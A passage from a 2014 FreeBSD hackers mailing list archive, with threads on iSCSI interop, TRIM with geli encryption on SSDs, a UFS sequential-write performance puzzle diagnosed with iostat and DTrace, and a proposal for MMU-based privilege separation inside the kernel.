mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 437266E5; Thu, 3 Jul 2014 23:15:44 +0000 (UTC) Received: from mail-lb0-x22c.google.com (mail-lb0-x22c.google.com [IPv6:2a00:1450:4010:c04::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8F6802F9E; Thu, 3 Jul 2014 23:15:43 +0000 (UTC) Received: by mail-lb0-f172.google.com with SMTP id c11so652131lbj.17 for ; Thu, 03 Jul 2014 16:15:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=3dWoN7yssI6TP5syzc1bA8VfQe1DYozfMhXCVmhUwA4=; b=KJpyJcUF2zBkfdgdwCRAwr8FUj5aukdTaC2WfcNKTbFfEahiMBzzeJdghYEaGsn6Ih gLCgtJo9SppWCcF/2e+YzX0Xq+fb9lEL7A6U0U3fdmX3ebctlZXm5rmouTlgJQTtRgUP OZy7TxY6Z/GyqtxFj67MuDYUWxDoQBLZEocHKFwUwGy8rC2L/8f7FGgPoZeKBYChOa/l Ft6fOUPI2FWTOYLGNyq5nZxnv93/JxsrBZ/NReySCFhY+lnZF7H/mRZtqTJTD/A9yL/q XKddJ3euu3ySfmoy5SQnReYkgg34rO7jnRFcEYAZC4lPbUtdzO9mXQXWnL0c/7Rr1MmT SFNg== MIME-Version: 1.0 X-Received: by 10.112.161.71 with SMTP id xq7mr11116lbb.57.1404429340518; Thu, 03 Jul 2014 16:15:40 -0700 (PDT) Sender: crodr001@gmail.com Received: by 10.112.67.71 with HTTP; Thu, 3 Jul 2014 16:15:40 -0700 (PDT) In-Reply-To: <20140701091252.GB3443@brick> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140701091252.GB3443@brick> Date: Thu, 3 Jul 2014 16:15:40 -0700 X-Google-Sender-Auth: 0-1juiHbNwzCWiD1uShEoMLMpBI Message-ID: Subject: Re: FreeBSD iscsi target From: Craig Rodrigues To: Sreenivasa Honnur , "freebsd-hackers@freebsd.org" , freebsd-current Current Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Jul 2014 23:15:44 -0000 On Tue, Jul 1, 2014 at 2:12 AM, Edward Tomasz Napiera=C5=82a wrote: > In 10-STABLE there is a way to control access based on initiator > name and IP address. > Edward, Out of curiousity, what kinds of interop testing do you do when you implement the iSCSI code in FreeBSD? I work on FreeNAS at iXsystems, and we have found that iSCSI is a complex protocol, and there are interop issues, especially with VMWare ESX. Luckily I see that Alexander Motin has been working with you to commit fixes to the iSCSI code, which help. I've rolled an experimental FreeNAS image based on FreeBSD 10 at svn revision r268201 if you want to give it a try: http://download.freenas.org/nightlies/10.0.0/ALPHA/20140703/ -- Craig From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 06:04:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0ADF32C2 for ; Fri, 4 Jul 2014 06:04:00 +0000 (UTC) Received: from mailout4.easymail.ca (mailout.easymail.ca [64.68.200.169]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B966621E3 for ; Fri, 4 Jul 2014 06:03:58 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mailout4.easymail.ca (Postfix) with ESMTP id ADE6FE522 for ; Fri, 4 Jul 2014 01:58:23 -0400 (EDT) X-Virus-Scanned: Debian amavisd-new at mailout4.easymail.ca X-Spam-Flag: NO X-Spam-Score: -4.399 X-Spam-Level: X-Spam-Status: No, score=-4.399 required=5 tests=[ALL_TRUSTED=-1.8, BAYES_00=-2.599] Received: from mailout4.easymail.ca ([127.0.0.1]) by localhost (easymail-mailout2.easydns.vpn [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id IWwQNMi7cjPM for ; Fri, 4 Jul 2014 01:58:22 -0400 (EDT) Received: from [192.168.42.156] (76-10-184-89.dsl.teksavvy.com [76.10.184.89]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mailout4.easymail.ca (Postfix) with ESMTPSA id 4D735E370 for ; Fri, 4 Jul 2014 01:58:22 -0400 (EDT) Message-ID: <53B6427D.1010403@gooch.io> Date: Thu, 03 Jul 2014 22:58:21 -0700 From: Jesse Gooch User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Icedove/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: geli+trim support References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> In-Reply-To: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 06:04:00 -0000 IIRC, TRIM is bad for encryption anyway. You want everything to be random noise, even the empty sectors. TRIM defeats this. On 02/07/14 01:27 AM, Steven Hartland wrote: > Currently BIO_DELETE is not supported by geli so no TRIM won't > be passed through. > > Regards > Steve > > ----- Original Message ----- From: "Wojciech Puchar" > > To: > Sent: Tuesday, July 01, 2014 11:36 PM > Subject: geli+trim support > > >> will TRIM will be passed over geli volumes? From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 08:12:51 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CDCE8FFB for ; Fri, 4 Jul 2014 08:12:51 +0000 (UTC) Received: from mail-we0-x236.google.com (mail-we0-x236.google.com [IPv6:2a00:1450:400c:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6A4852D15 for ; Fri, 4 Jul 2014 08:12:51 +0000 (UTC) Received: by mail-we0-f182.google.com with SMTP id q59so1239018wes.41 for ; Fri, 04 Jul 2014 01:12:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:message-id:mime-version:content-type :content-transfer-encoding; bh=DV/4T2LzgqO3kqWoXUi4ReFmhKrVNSktbLSwQG8zwUM=; b=CPefDsZp4z9ozFx1oSlJzPtE+42a/OENHgZo312xSkFA2I0Ybq7ThfRHXLbqvuLIKD 6ixON80O+NIIxEyN+rw6nU3bAuPvyTYLcn/AXk+BuP+stUDqy30vvYxq4ZeFtIO6PnN4 oJldi2auFO8l7GkC2QG4mIFq0PngqSUQeENLVZ+SbyCyzBsMuHemIjWUuDuf8Y27NLFJ UxFa8J23RdztdaqMekCS6Ws7xvSP8XZfO6haGobkOhmzBIU2LkXoDoEguSAPSigiCklP 9xi2I9Bp3/nyPQ+/7oTxqb+aesj0R7RDzN8uWOcDXeoMeNpqExfXJh35O1tlfcLngjMn sq5w== X-Received: by 10.180.76.68 with SMTP id i4mr55601493wiw.83.1404461568356; Fri, 04 Jul 2014 01:12:48 -0700 (PDT) Received: from localhost ([82.193.208.225]) by mx.google.com with ESMTPSA id gq4sm42615997wib.8.2014.07.04.01.12.47 for (version=SSLv3 cipher=RC4-SHA bits=128/128); Fri, 04 Jul 2014 01:12:47 -0700 (PDT) Date: Fri, 4 Jul 2014 10:12:44 +0200 From: To: hackers@freebsd.org Subject: wlan0/ath: no upload statistics Message-ID: <20140704101244.00007e75@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 08:12:51 -0000 10 RELEASE p6 i386 I have same problem as here: http://lists.freebsd.org/pipermail/freebsd-current/2014-June/050631.html The only difference is I have ath0 driver Additionally, upon 9.2 -> 10 migration, I had to disable PF's ALTQ, in order for wlan0, to route packets at all. From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 10:29:45 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BC89FAE1 for ; Fri, 4 Jul 2014 10:29:45 +0000 (UTC) Received: from mailout05.t-online.de (mailout05.t-online.de [194.25.134.82]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mailout00.t-online.de", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 7C28C299F for ; Fri, 4 Jul 2014 10:29:44 +0000 (UTC) Received: from fwd35.aul.t-online.de (fwd35.aul.t-online.de [172.20.27.145]) by mailout05.t-online.de (Postfix) with SMTP id AE361215926 for ; Fri, 4 Jul 2014 12:29:35 +0200 (CEST) Received: from [192.168.119.33] (Thn40yZB8h2KXAd1s179-9cfjCkgE6kYdcAAD5nXXc8sp52qOs4BdyxMYi1Z2jrgcL@[84.154.115.126]) by fwd35.t-online.de with esmtp id 1X30kG-1KyMxU0; Fri, 4 Jul 2014 12:29:32 +0200 Message-ID: <53B68203.2030704@freebsd.org> Date: Fri, 04 Jul 2014 12:29:23 +0200 From: Stefan Esser User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: "hack >> \"freebsd-hackers@freebsd.org\"" Subject: Re: geli+trim support References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> In-Reply-To: <53B6427D.1010403@gooch.io> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-ID: Thn40yZB8h2KXAd1s179-9cfjCkgE6kYdcAAD5nXXc8sp52qOs4BdyxMYi1Z2jrgcL X-TOI-MSGID: c33743a3-1427-4157-822f-de3cfa7bee9c X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 10:29:45 -0000 Am 04.07.2014 07:58, schrieb Jesse Gooch: > IIRC, TRIM is bad for encryption anyway. You want everything to be > random noise, even the empty sectors. TRIM defeats this. Does it? The NAND blocks that are trimmed are put back on the internal free list of the device, and may still be accessible (at least with diagnostic commands). But their contents should have been encrypted and thus "look" like random noise. This is a problem of all flash devices, that you can only access through an flash adaptation layer. Even trying to overwrite the old data "in place" is likely to preserve the old blocks and to write to new blocks (due to wear-leveling). TRIM lets the device know, that the block should be considered empty (and reads will return dummy data), while "overwriting" with random will make a read return that data. You should not be able to access the old contents with regular read commands, in either case. And with diagnostic commands, you'll probably still be able to read the old (encrypted) content. But TRIM may lead to blocks being erased and reused earlier, than without TRIM. So, I do not think that TRIM is weakening file system encryption ... Regards, STefan From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 11:37:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CDABE2BE for ; Fri, 4 Jul 2014 11:37:31 +0000 (UTC) Received: from SMTP02.CITRIX.COM (smtp02.citrix.com [66.165.176.63]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "mail.citrix.com", Issuer "Cybertrust Public SureServer SV CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 27A0D2FCE for ; Fri, 4 Jul 2014 11:37:30 +0000 (UTC) X-IronPort-AV: E=Sophos;i="5.01,600,1400025600"; d="scan'208";a="149973517" Received: from accessns.citrite.net (HELO FTLPEX01CL02.citrite.net) ([10.9.154.239]) by FTLPIPO02.CITRIX.COM with ESMTP; 04 Jul 2014 11:37:22 +0000 Received: from [IPv6:::1] (10.80.16.47) by smtprelay.citrix.com (10.13.107.79) with Microsoft SMTP Server id 14.3.181.6; Fri, 4 Jul 2014 07:37:21 -0400 Message-ID: <53B691EA.3070108@citrix.com> Date: Fri, 4 Jul 2014 13:37:14 +0200 From: =?ISO-8859-1?Q?Roger_Pau_Monn=E9?= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: FreeBSD Hackers Subject: Strange IO performance with UFS X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-DLP: MIA1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 11:37:31 -0000 Hello, I'm doing some tests on IO performance using fio, and I've found something weird when using UFS and large files. I have the following very simple sequential fio workload: [global] rw=write size=10g bs=4k [job1] In this case the box has 6GB of RAM, and when running the following fio workload, I also run `iostat -xz -w 1` in parallel. The result of fio is pretty disappointing in terms of performance: bw=33309KB/s, iops=8327 The output of iostat is the following: device r/s w/s kr/s kw/s qlen svc_t %b ada0 266.1 299.0 34000.8 38243.4 1 92.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 236.7 235.7 30295.1 30168.9 30 61.0 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 301.8 224.7 38272.7 28674.4 80 49.3 95 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 185.1 274.8 23687.5 35168.7 15 92.4 105 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 258.4 238.1 33077.3 30475.7 36 57.1 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 200.3 213.4 25634.5 27319.4 8 72.7 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 243.3 233.7 31053.3 29919.1 31 57.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 243.5 228.5 31169.7 29244.1 49 73.2 99 So, we are performing almost the same amount of reads and writes to disk, even when the workload is just a sequential write, this doesn't seem right to me, I was expecting that the number of reads would be much lower. I've also added the following DTrace probe, in order to figure out where those reads are coming from, and the stack trace of all these read bios is always the same: kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 kernel`dofilewrite+0x85 kernel`kern_writev+0x65 kernel`sys_write+0x63 The probe used is the following: io:::start /args[0] && (args[0]->bio_cmd == BIO_READ)/ { @traces[stack()] = count(); } If I lower the file size of the fio workload to 4GB for example everything seems fine, and I see almost no reads in iostat: bw=84953KB/s, iops=21238 device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 694.6 0.0 88912.2 82 111.4 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 4.0 559.4 159.3 71014.2 67 99.6 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 1.9 630.8 124.8 80617.0 63 90.6 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 0.0 673.3 0.0 86177.9 80 107.2 99 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 7.0 564.5 381.7 72260.6 4 94.1 101 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 2.9 641.8 92.2 82113.9 55 101.3 100 extended device statistics device r/s w/s kr/s kw/s qlen svc_t %b ada0 1.9 638.9 151.2 81773.4 54 90.4 100 Is this something expected/known? I'm I doing something wrong on the tests? Thanks, Roger. From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 08:19:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8B1F3404 for ; Fri, 4 Jul 2014 08:19:39 +0000 (UTC) Received: from phk.freebsd.dk (phk.freebsd.dk [130.225.244.222]) by mx1.freebsd.org (Postfix) with ESMTP id 50B442D72 for ; Fri, 4 Jul 2014 08:19:39 +0000 (UTC) Received: from critter.freebsd.dk (unknown [192.168.48.2]) by phk.freebsd.dk (Postfix) with ESMTP id 2B4861578; Fri, 4 Jul 2014 08:19:37 +0000 (UTC) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.14.9/8.14.9) with ESMTP id s648Ja7J060446; Fri, 4 Jul 2014 08:19:36 GMT (envelope-from phk@phk.freebsd.dk) To: Jesse Gooch Subject: Re: geli+trim support In-reply-to: <53B6427D.1010403@gooch.io> From: "Poul-Henning Kamp" References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <60444.1404461976.1@critter.freebsd.dk> Date: Fri, 04 Jul 2014 08:19:36 +0000 Message-ID: <60445.1404461976@critter.freebsd.dk> X-Mailman-Approved-At: Fri, 04 Jul 2014 11:42:18 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 08:19:39 -0000 In message <53B6427D.1010403@gooch.io>, Jesse Gooch writes: >IIRC, TRIM is bad for encryption anyway. You want everything to be >random noise, even the empty sectors. TRIM defeats this. The problem is that there is nothing you can do. If you overwrite, your old sector is still unchanged somewhere in flash. If you TRIM, your old sector is still unchanged somewhere in flash, but if you're lucky for slightly less time. Doing both just means that you have both the original and the overwritten content lingering in flash. GBDEs scheme with per sector PRNG keys is marginally better than GELIs, in that the chances that both the sector and its key survives is only 3/4 of the chance that the sector survives. Without access to and control over the Flash Adaptation Layer, encrypting SSDs so they are safe against hardware access is impossible. For the paranoid: ... and a hostile FTL can make it much harder. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 12:22:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9D33CC9B; Fri, 4 Jul 2014 12:22:17 +0000 (UTC) Received: from SMTP02.CITRIX.COM (smtp02.citrix.com [66.165.176.63]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "mail.citrix.com", Issuer "Cybertrust Public SureServer SV CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B03A624BC; Fri, 4 Jul 2014 12:22:16 +0000 (UTC) X-IronPort-AV: E=Sophos;i="5.01,600,1400025600"; d="scan'208";a="149983477" Received: from accessns.citrite.net (HELO FTLPEX01CL01.citrite.net) ([10.9.154.239]) by FTLPIPO02.CITRIX.COM with ESMTP; 04 Jul 2014 12:22:14 +0000 Received: from [IPv6:::1] (10.80.16.47) by smtprelay.citrix.com (10.13.107.78) with Microsoft SMTP Server id 14.3.181.6; Fri, 4 Jul 2014 08:22:13 -0400 Message-ID: <53B69C73.7090806@citrix.com> Date: Fri, 4 Jul 2014 14:22:11 +0200 From: =?ISO-8859-1?Q?Roger_Pau_Monn=E9?= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: FreeBSD Hackers Subject: Re: Strange IO performance with UFS References: <53B691EA.3070108@citrix.com> In-Reply-To: <53B691EA.3070108@citrix.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit X-DLP: MIA2 Cc: freebsd-fs@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 12:22:17 -0000 Adding freebsd-fs, sorry for the double posting to -hackers. On 04/07/14 13:37, Roger Pau Monné wrote: > Hello, > > I'm doing some tests on IO performance using fio, and I've found > something weird when using UFS and large files. I have the following > very simple sequential fio workload: > > [global] > rw=write > size=10g > bs=4k > > [job1] > > In this case the box has 6GB of RAM, and when running the following fio > workload, I also run `iostat -xz -w 1` in parallel. The result of fio is > pretty disappointing in terms of performance: > > bw=33309KB/s, iops=8327 > > The output of iostat is the following: > > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 266.1 299.0 34000.8 38243.4 1 92.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 236.7 235.7 30295.1 30168.9 30 61.0 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 301.8 224.7 38272.7 28674.4 80 49.3 95 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 185.1 274.8 23687.5 35168.7 15 92.4 105 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 258.4 238.1 33077.3 30475.7 36 57.1 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 200.3 213.4 25634.5 27319.4 8 72.7 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 243.3 233.7 31053.3 29919.1 31 57.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 243.5 228.5 31169.7 29244.1 49 73.2 99 > > So, we are performing almost the same amount of reads and writes to > disk, even when the workload is just a sequential write, this doesn't > seem right to me, I was expecting that the number of reads would be much > lower. > > I've also added the following DTrace probe, in order to figure out where > those reads are coming from, and the stack trace of all these read bios > is always the same: > > kernel`g_io_request+0x384 > kernel`g_part_start+0x2c3 > kernel`g_io_request+0x384 > kernel`g_part_start+0x2c3 > kernel`g_io_request+0x384 > kernel`ufs_strategy+0x8a > kernel`VOP_STRATEGY_APV+0xf5 > kernel`bufstrategy+0x46 > kernel`cluster_read+0x5e6 > kernel`ffs_balloc_ufs2+0x1be2 > kernel`ffs_write+0x310 > kernel`VOP_WRITE_APV+0x166 > kernel`vn_write+0x2eb > kernel`vn_io_fault_doio+0x22 > kernel`vn_io_fault1+0x78 > kernel`vn_io_fault+0x173 > kernel`dofilewrite+0x85 > kernel`kern_writev+0x65 > kernel`sys_write+0x63 > > The probe used is the following: > > io:::start > /args[0] && (args[0]->bio_cmd == BIO_READ)/ > { > @traces[stack()] = count(); > } > > If I lower the file size of the fio workload to 4GB for example > everything seems fine, and I see almost no reads in iostat: > > bw=84953KB/s, iops=21238 > > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 694.6 0.0 88912.2 82 111.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 4.0 559.4 159.3 71014.2 67 99.6 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 1.9 630.8 124.8 80617.0 63 90.6 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 673.3 0.0 86177.9 80 107.2 99 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 7.0 564.5 381.7 72260.6 4 94.1 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 2.9 641.8 92.2 82113.9 55 101.3 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 1.9 638.9 151.2 81773.4 54 90.4 100 > > Is this something expected/known? I'm I doing something wrong on the tests? > > Thanks, Roger. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 20:46:35 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5C173761; Fri, 4 Jul 2014 20:46:35 +0000 (UTC) Received: from trypticon.cs.illinois.edu (trypticon.cs.illinois.edu [128.174.237.181]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 18A03204C; Fri, 4 Jul 2014 20:46:34 +0000 (UTC) Received: from trypticon.cs.illinois.edu (localhost [127.0.0.1]) by trypticon.cs.illinois.edu (8.14.4/8.14.4/Debian-2.1ubuntu2) with ESMTP id s64KkWSe025606; Fri, 4 Jul 2014 15:46:32 -0500 Received: (from dautenh1@localhost) by trypticon.cs.illinois.edu (8.14.4/8.14.4/Submit) id s64KkUBm025576; Fri, 4 Jul 2014 15:46:30 -0500 Date: Fri, 4 Jul 2014 15:46:30 -0500 From: Nathan Dautenhahn To: George Neville-Neil Subject: Re: Kernel Privilege Separation Policy Message-ID: <20140704204630.GC16358@trypticon.cs.illinois.edu> References: <100A360A-DF5E-46D5-83F0-BCAE672D1D6C@illinois.edu> <53B5ADBE.1020905@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: "hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 20:46:35 -0000 On Fri, Jul 04, 2014 at 10:27:57AM -0400, George Neville-Neil wrote: > On 3 Jul 2014, at 15:23, Julian Elischer wrote: > > >On 7/2/14, 10:52 PM, Dautenhahn, Nathan Daniel wrote: > >>Hi All- > >> > >>I am a graduate student at UIUC and am currently working on a > >>system that > >>isolates the MMU from the rest of the FreeBSD kernel. For the > >>purpose of > >>enabling privilege separtion within the kernel. > >> > >> > >[...] > > > >it does sound interesting.. I think the dearth of answers is that > >everyone is waiting for someone-else to answer, because the topic > >sounds a bit intimidating, > > I also think we'd be interested in seeing the code itself, and what > APIs it exposes. > That would probably focus thinking on what can be done with it. Hi George- I will start working on getting the code available for view on a github repository. It is currently in a research prototype state, but moving it into a more production level is a goal. The base system effectively splits the kernel into two privilege levels: 1) a very small component that mediates access to the MMU to enforce system wide memory access policies, and 2) the lower privilege part of the kernel. The initial set of policies that I'm investigating are write protect policies within the kernel itself (we can do read protect too). In other words place specific data structures into the secure region (thus protected from the rest of the kernel), and then mediate write access through a *write_secure_data()* interface by some to be determined policy. Effectively the type of interface I have is: - Some data structure allocated to write protected pages - A mediation policy for that data structure -- set of checks the write must pass - A write_ function for such data structures I am not well versed in how to translate this to the "interface" you asked for, but the basic idea is to apply some type of access policy to critical data structures to improve the security of the system. Another example benefit or application of such a *write_protect* mechanism is that even if the *write_secure_data* function does not include an access control policy, the data structures being protected will not be subject to memory corruption in the insecure kernel. For example, the UMA allocator vulnerability mentioned on Phrack [1] could be defended by write_protecting the critical allocator metadata (slab header). I appreciate any ideas and even questions. I find that these help me to understand the system with greater clarity. Thanks, ::nathan:: [1] http://phrack.org/issues/66/8.html > > Certainly there is the possibility of walling off drivers during development > but there must be other, more interesting, applications. > > Best, George From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 4 